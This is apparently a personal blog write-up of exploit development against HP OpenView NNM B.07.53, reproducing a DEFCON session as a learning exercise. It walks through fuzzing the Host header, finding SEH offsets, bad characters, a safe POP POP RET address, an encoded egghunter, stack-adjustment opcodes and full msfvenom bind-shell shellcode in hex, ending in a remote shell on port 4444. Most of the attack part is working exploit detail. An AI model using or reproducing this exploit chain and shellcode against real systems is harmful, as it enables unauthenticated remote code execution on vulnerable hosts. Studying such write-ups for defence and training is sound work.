Exploiting HP OpenView NNM - B.07.53
In DEFCON #16, there was an interesting session on HP OpenView NNM
exploitation “from bug to 0 day” presented by muts. While watching his walk-through, I found that this particular exploit development process was extremely intense and challenging. To better understand the concepts, I decided to take that as an exercise and try to reproduce the same in my local environment.
Surprisingly, the final part of the journey turned out to be a zero-day
for me as well in the specific B.07.53
version.
Environment & Tools
1
2
3
4
5
- 32-bit windows server 2003-R2-SP2 (disabled DEP, enabled ASLR)
- python 2.7 x86, pydbg 32-bit binary, python wmi, pywin32
- HP OpenView NNM release - B.07.53
- Immunity Debugger v1.85, mona.py v2.0
- Kali 2.0, Spike fuzzer, python 3.7.x (exploit scripts)
Web Interface
Install HP OpenView NNM
(release - B.07.53
) on Windows 2003-R2-SP2
.
Browse it’s web interface - http://172.16.232.198:7510/topology/home
to verify everything is up and running.
Fuzz Variables
Sniff the HTTP
traffic through Burp
proxy and identify 5
potential fuzz points (HTTP method, url_path, ip_address, port, user_agent header) on that GET
request.
To crash the application, create a Spike
template - http.spk
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
s_string_variable("GET");
s_string(" ");
s_string_variable("/topology/home")
s_string(" ");
s_string("HTTP/1.1");
s_string("\r\n");
s_string("Host: ");
s_string_variable("172.16.116.198");
s_string(":");
s_string_variable("7510");
s_string("\r\n");
s_string("User-Agent: ");
s_string_variable("Mozilla/5.0 (X11; U; Linux i686;en-US; rv:1.8.1.14)");
s_string("\r\n");
s_string("\r\n");
Process - ova.exe
It is observed that ova.exe
process is responsible for listening to the network connection on TCP
port 7150
.
Crash
Attach and run the ovas.exe
process through Immunity
.
Start fuzzing the http.spk
template through Spike
fuzzer.
1
generic_send_tcp 172.16.116.198 7510 http.spk 0 0
It is observed that while fuzzing the host
header, application crashes.
Verify and confirm the same by inspecting the host header
in the memory dump.
Analyzing the crash scenario
SEH
andnSEH
both are overwritten by fuzz bufferA
.- It is possible to control/overwrite the
EIP
after passing the exception to the program. ESP + 0x4C
points at the 1025^th byte of our fuzz buffer.- Approximate
2048 bytes
buffer causes this crash.
The Bug
HP OpenView NNM - B.07.53
does not validate the host
header while processing any un-authenticated
HTTP request. As a result, an attacker can overwrite the SEH chain
by sending a sizeable crafted buffer and hijack the execution flow.
Proof Of Concept
Restart ovas.exe
and attach it within Immunity
.
Set up the working directory for mona.py
.
1
!mona config -set workingfolder c:\mona-logs\%p
Send the 2048 bytes
buffer to verify and reproduce the same crash with a stand-alone python script.
Exploit code: hpnnm_B.07.53_exploit_v0.1.py
Best Buffer Length
Try to play with different buffer lengths to figure out the maximum length
of the fuzz buffer, which produces the same
crash.
After analyzing different crashes, it is observed that 3780 bytes
buffer can be the right choice.
Exploit code: hpnnm_B.07.53_exploit_v0.2.py
nSEH
& SEH
Offsets
Create 3780 bytes
unique pattern through mona.py
.
1
!mona pattern_create 3780
Then copy those bytes from C:\mona-logs\ovas\pattern.txt
and update the skeleton code.
Exploit code: hpnnm_B.07.53_exploit_v0.3.py
During the crash, inspect the SEH chain
and select the first corrupted-entry
and then follow the address in the stack.
It is observed that
nSEH
is overwritten with pattern =>32674531
SEH
is overwritten with pattern =>45336745
Leverage mona.py
to find the correct offsets:
nSEH
offset:!mona pattern_offset 32674531
=>3305
SEH
offset:!mona pattern_offset 45336745
=>3309
To verify those offsets, divide the original buffer into four different blocks - A
, B
, C
, D
, and update the skeleton code with those identified offset values.
Exploit code: hpnnm_B.07.53_exploit_v0.4.py
During the crash, the entire buffer is laid in memory in our expected way.
Calculate the length of D
buffer = 464 bytes
.
Even if we have identified the maximum buffer length, this length is too small to accommodate an encoded version of the final payload.
POP
POP
RET
Try to identify which modules are not compiled with SafeSEH
and ASLR
.
1
!mona nosafesehaslr
There are plenty of options.
Select jvm.dll
module and pick up a PPR
address => 0x6D6FA245
!mona seh -m jvm.dll
- This command generates the
seh.txt
.
Update the skeleton code in little endian order = \x45\xa2\x6f\x6d
.
Exploit code: hpnnm_B.07.53_exploit_v0.5.py
After that, set up a breakpoint at 0x6D6FA245
to verify if it is possible to land on that address during the crash.
However during the crash, when we pass the exception to the program, the SEH
address is mangled into 0xA2BEEF45
little endian order: \x45\xef\xbe\xa2
It looks like some character translation/filtering is applied to the buffer. Due to this, we now need to find a bad char friendly PPR
address.
Bad & Good Characters
Use badchar_detection_HPNNM_B.07.53.py to identify all good
and bad
characters in an automated fashion.
Script result
1
2
3
4
5
# good chars
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3b\x3c\x3d\x3e\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f
# bad chars
\x00\x0a\x0d\x2f\x3a\x3f\x40\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
During the crash,
ESP + 0x4c
pointed at the1025
-the bytes of the fuzz buffer.
Algorithm
- Start the
ovas.exe
process:ovstop -c ovas && ovstart -c ovas
- While sending the buffer, place a
test-char
at the1025
-th position. - if (application does not crash) OR (
ESP + 0x4c
does not have the value during crash time) then- consider that
test-char
asbad
- write it down in
badchars.txt
- consider that
- else
- consider that
test-char
asgood
- write it down in
goodchars.txt
- consider that
- Kill the
ovas.exe
process:taskkill /f /im ovas.exe
- Verify another
test-char
from all character set and repeat the same process and iterate all characters from\x00
to\xff
.
Safe POP
POP
RET
Run find_safe_address.py to identify all safe PPR
address from seh.txt
.
Pick up the first address - 0x6d6e394a
and set up a breakpoint to verify that.
Run the following exploit code updated with a safe PPR
address.
Exploit code: hpnnm_B.07.53_exploit_v0.6.py
As expected, this time, that address does not mangle during the crash.
Pass the exception and land on the breakpoint.
Step through POP POP RET
and finally jump into nSEH
.
Jump Over SEH
In nSEH
, we can’t directly write a 4
byte jump code
to meet D
buffer because the short jump
opcode (\xeb
) is a bad char.
Now we need to identify all safe
instructions from our good_char.txt
.
Run find_safe_opcode.py and identify all safe
instructions. From there, find that conditional jump
instructions are safe to execute.
Conditional jump JA
(\x77
) occurs when
CF = 0
andZF = 0
- Jump must be within
-128 to +127
bytes of the next instruction.
So if we want to jump 4 bytes
(i.e. \x04
is a safe character), then the opcode is \x77\x04
Now at crash point, it is noticed that ZF = 1
and CF = 0
.
To make ZF = 0
and to satisfy the jump condition, we can perform an operation that produces a non zero result (i.e., decrease the EAX
register)
DEC EAX
=> opcode\x48
is a safe char
To satisfy the flag condition (
ZF = 0
), decreasing theEAX
register1
time is sufficient. However,opcode
for this instruction isone byte
, so we need to fill another byte with a value (in the stack it gets interpreted as an instruction) that does not impact theZF
flag. Due to this, we can useDEC EAX
=>\x48
another time as it does not change theZF
flag.
Select the jump offset = \x04
to jump over SEH
and meet the D
buffer.
1
2
3
# 1035FE34 48 DEC EAX
# 1035FE35 48 DEC EAX
# 1035FE36 77 04 JA SHORT 1035FE59
Update the skeleton code to overwrite nSEH
with \x48\x48\x77\x04
and set a break point at 0x6d6e394a
.
Exploit code: hpnnm_B.07.53_exploit_v0.7.py
You can see, during the crash, the breakpoint is hit, and after stepping through POP POP RET
, control goes to the nSEH
. After that, it executes all instructions stored on nSEH
and finally jumps forward 4 bytes
and meet D
buffer block.
Egghunter
At this point, roughly 464 bytes
are left in D
buffer.
Problem
- This
D
buffer suffers from character translation. Due to this, we can’t directly write any shellcode/payload here. - Again if we use any existing encoder from
msfvenom
after eliminating all those bad characters, then the final payload size will be huge.
Solution
- We can choose a smaller stage 1 payload, such as
32
bytes egghunter. - We can use a
custom encoder
that generates less than464
bytes output for the32
byte egghunter code. - We can write the original shellcode somewhere in the memory that has more space.
Alphanum
Encoder
Use mona.py
alphanum
encoder to encode 32 bytes
egghunter
payload. This encoder uses only AND
, SUB
, PUSH
operations during the encoding process, and those instructions are bad characters friendly.
We need to choose an egg marker, and that needs to be bad character friendly as well.
lets choose egg_marker = T00wT00W
1
!mona encode ascii -t alphanum -b '\x00\x0a\x0d\x2f\x3a\x3f\x40\x80..\xff' -s 6681CAFF0F42526A0258CD2E3C055A74EFB8543030578BFAAF75EAAF75E7FFE7
It generates the encoded_alphanum.txt
inside mona-logs\ovas
directory.
1
2
3
encoded egghunter in hex format, egg_marker = T00wT00W
=======================================================
\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2e\x5d\x55\x5d\x2d\x2e\x5d\x55\x5d\x2d\x2f\x5e\x55\x5d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x70\x2d\x5c\x6f\x2d\x70\x2d\x5c\x6f\x2d\x71\x2f\x5d\x71\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x38\x26\x57\x2d\x45\x38\x26\x57\x2d\x46\x38\x28\x57\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5b\x6c\x38\x45\x2d\x5b\x6c\x38\x45\x2d\x5b\x6e\x3a\x45\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41\x53\x37\x2e\x2d\x41\x53\x37\x2e\x2d\x42\x54\x37\x2f\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x54\x37\x66\x45\x2d\x54\x37\x66\x45\x2d\x56\x39\x66\x46\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x3f\x39\x31\x2d\x50\x3f\x39\x31\x2d\x51\x3f\x3b\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x33\x2a\x67\x55\x2d\x33\x2a\x67\x55\x2d\x34\x2a\x67\x55\x50
Adjust ESP
When we jump over SEH
and land into D
buffer, at this point, let’s check our PC
(i.e. EIP
) and ESP
address.
1
2
ESP => 2216E6D8
EIP => 2216FBF0
Usually when ESP
> EIP
, we need to perform stack pointer adjustment and make ESP
<= EIP
.
Because during this condition, PC
and ESP
both will move towards
each other, and any PUSH
instruction stored in the path of PC
, overwrite an existing instruction in the stack. Thus it modifies the original shellcode/payload.
In our present scenario, ESP
< EIP
. During execution, PC
and ESP
both move away from each other. Due to this, there is no risk of instruction overwrite.
However, if we inspect our encoded version of egghunter code, then we can observe the followings
- for the first
PUSH
operation, it inserts thelast 4 bytes
of the original egghunter code into the stack. - for the second
PUSH
operation, it inserts thesecond last 4 bytes
of the original egghunter code into the stack. - It means, for every
PUSH
,ESP
moves towards low memory by4 bytes
. - After 8^th
PUSH
operation,ESP
points to thefirst 4 bytes
of the original egghunter code.
We have to point/set the ESP
far down to the high memory if we want to generate the original egghunter after the encoded egghunter payload.
Due to this reason, we need to adjust the ESP
. But how far we need to go that depends on the length of ( esp_set_up_logic + encoded_payload + original_payload).
1
2
3
4
5
6
# for example
esp_setup_logic = 7 bytes (assuming)
encoded_egghunter = 208 bytes
original_egghunter = 32 bytes
# we need to set the ESP to some value > 247 (7 + 208 + 32)
Problem
- We can’t use
ADD ESP
directly because\xEC
is a bad character. ASLR
protection isenabled
so we can’thardcode
any address.- Further, based on the value of the
EIP
, we need to adjust theESP
dynamically.
Solution
- First, we need to get hold of the
program counter
value into some register (i.e.EAX
) - Then we need to perform
ADD
operation on that register with somesafe
character/value. - Then
PUSH
the register on the stack thenPOP
that out intoESP
. So thatESP
contains the same value asEAX
.
Thought Process
- If we observe, when we jump over
nSEH
and meet ourD
buffer, at that point =>ESP
points tonSEH
. - However the interestingly, it is just
8 bytes
away fromprogram counter
/EIP
. - So if we move this
ESP
value toEAX
then we can get hold of theprogram counter
approximately. - If the length of the encoded_egghunter =
208
, original_egghunter =32
then minimum we need to add240
~250
toEAX
. - Here I am assuming
esp_setup_logic
takes maximum10
bytes. - We can add any more than
250
but less than464
. We are very much flexible in this.
If we try to add 250
to EAX
then the final opcode would be like below
1
2
ADD EAX, 0xfa # 0xfa => 250
String Literal: "\x05\xFA\x00\x00\x00"
The tool used: https://defuse.ca/online-x86-assembler.htm
But \xfa
is a bad char, and we can’t use that. Moreover, the final opcode contains other bad chars such as ADD EAX
=> \x05
and three null
bytes.
To resolve this, we have to avoid ADD EAX
instruction.
Solution
Instead of using the entire 32
bytes register, we can use lower 16
bytes to perform the addition
operation. This technique provides the same result.
ADD AX
=> \x66
(safe char)
1
2
ADD AX, 0xfa
String Literal: 0x66, 0x05, 0xFA, 0x00
But still, the final opcode has another null
byte.
We can’t choose 251
to 255
as \xfa
to \xff
. All are bad chars.
256
=> 0x100 => also contains null byte257
=> 0x101 => but here\x01
\x01
both chars are safe. We can use this.
Thus, using this backtrack trial
method, we can finalize
the value
to be added.
We are quite flexible in choosing the
value
to be added to adjust theESP
. Remember that thevalue
should not be larger than464
.
Lets choose the value = 300
=> 12C
(01
, 2c
both are safe chars).
1
2
ADD AX, 0x12c
String Literal: "\x66\x05\x2C\x01"
So our final esp_setup_logic
will be
1
2
3
4
5
# 2216FDF0 58 POP EAX => ESP holds the EIP (approx.)
# 2216FDF8 66:05 2C01 ADD AX,12C => add 300 with present value, 0x01 and 0x2c => both are safe character
# 2216FDF6 50 PUSH EAX
# 2216FDF7 5C POP ESP => moving the EAX value to ESP
Total length = 7
bytes.
Program Flow
During program run, when all instructions of the
esp_setup_logic
are executed, at that pointESP
>EIP
.After that, we want the program should execute all encoded egghunter’s instructions.
During this process,
PC
moves towardhigh memory
and in the path, while executing everyPUSH
instruction byPC
,ESP
moves towardslow memory
.When all instructions of the
encoded egghunter
are finished, during that point, theESP
points at the very 1^st block of the actual egghunter code.
- After executing the
encoded egghunter
code, thePC
orEIP
rolls down and executes allINC ECX
and eventually reaches the beginning of the normal egghunter code. At that pointESP
=EIP
. After that, the
EIP
starts executing the egghunter code. At that pointESP
<EIP
.- Finally, when the egghunter code execution is completed, it finds the address of the egg signature -
T00WT00W
and passes the execution control by jumping to the address whereEDI
points.
Exploit code: hpnnm_B.07.53_exploit_v0.8.py
Key Points
- When the program execution happens from the stack, then the
opcode
placed on the buffer gets interpreted asinstruction
. That meansA
is interpreted asINC ECX
. - Every
PUSH
instruction in theencoded_egghunter_logic
, overwrites theINC ECX
instruction on the stack and, finally, approximate41 bytes
ofA
buffer gets stored between theencoded_egghunter_logic
and expandedactual egghunter
. - The increment of the
ECX
register does not have any impact onESP
.
Code Cave
If we place another large buffer at the end of the
HTTP
request asPOST
data, then would it affect the entire crash?
To examine that scenario, create a pattern of 1500
bytes and send this new buffer as POST
data.
!mona pattern_create 1500
Exploit code: hpnnm_B.07.53_exploit_v0.9.py
During the crash, !mona suggest
finds the cyclic pattern at 0x04df6fd1
.
But the original buffer is reduced into 139 bytes
.
That length is too little to accommodate a reverse/bind shell payload. It seems application puts a limit on the length of HTTP POST
data.
Due to this, we need to put the final shellcode/payload at the beginning of the input buffer in an encoded form
and the same way we need to adjust ESP
to generate the actual shellcode dynamically in stack memory.
Final Payload
Generate 328 bytes
shell_bind_tcp
payload using msfvenom
.
1
2
3
4
5
6
(venv) ╭─root@kali ~
╰─# msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=4444 -f hex
No encoder or badchars specified, outputting raw payload
Payload size: 328 bytes
Final size of hex file: 656 bytes
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a085950e2fd4050405068ea0fdfe0ffd597680200115c89e66a10565768c2db3767ffd55768b7e938ffffd5576874ec3be1ffd5579768756e4d61ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5
While trying to encode that payload using mona.py
alphanum
encoder, I encountered another challenge.
The Immunity
textbox
has some length limitations. Due to this reason, we can’t put the entire command and execute it even if we can’t run mona.py
outside the debugger context.
1
!mona encode ascii -t alphanum -b '\x00\x0a\x0d\x2f\x3a\x3f\x40\x80..\xff' -s fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a085950e2fd4050405068ea0fdfe0ffd597680200115c89e66a10565768c2db3767ffd55768b7e938ffffd5576874ec3be1ffd5579768756e4d61ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5
alpha_num_encoder.py
Use alpha_num_encoder.py to encode the hex
formatted payload generated from msfvenom
.
1
2
3
4
5
6
7
8
9
10
alpha_num_encoder.py [-h] -p -b
encode a payload using alpha_num_encoder
optional arguments:
-h, --help show this help message and exit
-p , --payload provide a text file containing payload in hex format
-b , --bad_characters
provide a text file containing all bad characters in
hex format
ESP
Align By 4
As we know that ASLR
is turned on, so we need to make sure and align the stack pointer / ESP
always by 4 to run the shellcode reliably
.
It means, for a 32
bit system, the address stored in the ESP
should always be divisible by 4
.
We can use the following logic to achieve this.
1
2
3
4
5
6
7
8
9
10
# ESP alighment by 4
0: 83 ec 10 sub esp,0x10
3: 54 push esp
4: 58 pop eax
5: 31 d2 xor edx,edx
7: bb 04 00 00 00 mov ebx,0x4
c: f7 f3 div ebx
e: 29 d4 sub esp,edx
# hex bytes = 83EC10545831D2BB04000000F7F329D4
However, the hex bytes contain some bad characters.
To overcome this, prepend
this logic/hex bytes just before the actual shellcode and use alpha_num_encoder.py
to encode the entire string.
1
2
# payload.txt (esp_align_by_4 logic + shellcode)
83EC10545831D2BB04000000F7F329D4fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a085950e2fd4050405068ea0fdfe0ffd597680200115c89e66a10565768c2db3767ffd55768b7e938ffffd5576874ec3be1ffd5579768756e4d61ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5
In this way, we can make sure that the code can be placed/run before the actual shellcode.
1
2
(playbook) ╭─root@kali ~/code-dev/python/hands-on_python3/hpnnm-B.07.53
╰─# python alpha_num_encoder.py -p payload.txt -b bad_chars.txt > result.txt
Detailed output of the script => result.txt
Buffer Layout
From the egghunter code, we can figure out that when the egghunter finds the egg marker, it loads up JUMP
address into the EDI
register.
So we can quickly get hold of the EIP
by directly moving that EDI
value to EAX
.
1
2
# 04DD74D6 57 PUSH EDI => \x57 is good char
# 04DD74D7 58 POP EAX => \x58 is good char
Now let’s find what value
we can add with AX
register.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# for example
esp_setup_logic = 7 ~ 10 bytes
encoded_logic(esp_adjust_by_4_logic + shell_bind_tcp payload) = 2236 bytes
actual_esp_adjust_by_4_logic = 16 bytes
actual_shell_reverse_tcp_payload = 328 bytes
============================================
total = 2580 bytes
# we need to set the ESP to some value > 2580 but less than 3305
# 2580 => in hex format 0xa14
# \x0a is bad char so we need to find the next good char.
# after \x09, \x0b is good char => so we can use the value 0x0b as the stating char.
# for the last char, we can choose any value from the good char set. lets choose => 0x01
# final logic
PUSH EDI
POP EAX
ADD AX, 0xb01 # adding 2817
PUSH EAX
POP ESP
Use mona.py
to generate the opcode.
1
2
!mona assemble -s "push edi#pop eax#add ax,0xb01#push eax#pop esp"
"\x57\x58\x66\x05\x01\x0B\x50\x5C"
On-line tool => https://defuse.ca/online-x86-assembler.htm
Prepare the final buffer that will layout in the memory
like below.
We have to use the initial 3305
bytes buffer to fit the following.
- egg marker -
T00WT00W
ESP
setup_logic.Encoded
version ofalign_stack_pointer_logic
andshell_bind_tcp
shellcode.- Remaining buffer where
align_stack_pointer_logic
andactual shellcode
will expand during runtime.
The Shell
Fired up the final exploit code, and it opens a TCP port 4444
.
Exploit code: hpnnm_B.07.53_exploit_shell_bind_tcp_v1.0.py
If windows
firewall
is enabled, add theovas.exe
into the program’s exceptions`. Otherwise, during the script execution, the payload does not get executed due to an exception.
Conclusion
At the end of my journey, I found my final exploit code was turned out entirely different from muts EDB-ID #5342. The reason was, B.07.53
release validates the length of GET
request, which restricted me from delivering the payload the way muts did.